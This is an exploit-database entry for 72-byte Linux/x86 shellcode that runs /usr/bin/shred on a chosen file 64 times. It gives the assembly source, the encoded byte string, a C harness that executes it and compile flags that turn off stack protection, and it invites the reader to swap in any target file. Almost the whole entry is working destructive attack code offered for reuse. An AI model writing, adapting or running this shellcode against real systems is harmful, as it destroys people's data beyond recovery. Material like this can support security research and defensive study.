Linux/x86 - shred file Shellcode (72 bytes)

2019-05-06T00:00:00
ID 1337DAY-ID-32712
Type zdt
Reporter strider
Modified 2019-05-06T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            # Exploit Title: Linux/x86 shred file  (72 bytes)
# Google Dork: None
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 72
------------------------------[Description]---------------------------------

This shellcode shred files 64 times

replace test.txt with any file you want.

-----------------------------[Shellcode Dump]---------------------------------
section .text

global _start

_start:
  xor eax, eax
  push eax

  push word 0x6465
  push 0x7268732f
  push 0x6e69622f
  push 0x7273752f

  mov ebx, esp
  jmp short _file

_params:
  pop ecx
  mov ebp, ecx
  xor ecx, ecx
  push eax
  push 0x6e7a762d
  mov esi, esp

  push eax
  push word 0x3436
  xor edx, edx
  mov edi, esp

_exec:
  push eax
  push ebp
  push edi
  push esi
  push ebx
  mov ecx, esp
  mov al, 0xb

  int 0x80

_file:
  call _params
  string db "test.txt"; replace test.txt with any file you want

 -----------------------------[Compile]---------------------------------------------
 gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

 -----------------------------[C-Code]-----------------------------

 #include <stdio.h>
 #include <string.h>

 unsigned char shellcode[] = "\x31\xc0\x50\x66\x68\x65\x64\x68\x2f\x73\x68\x72\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\xeb\x21\x59\x89\xcd\x31\xc9\x50\x68\x2d\x76\x7a\x6e\x89\xe6\x50\x66\x68\x36\x34\x31\xd2\x89\xe7\x50\x55\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xda\xff\xff\xff\x74\x65\x73\x74\x2e\x74\x78\x74";
 void main()
 {
     printf("Shellcode Length:  %d\n", strlen(shellcode));

     int (*ret)() = (int(*)())shellcode;
     ret();
 }

#  0day.today [2019-05-16]  #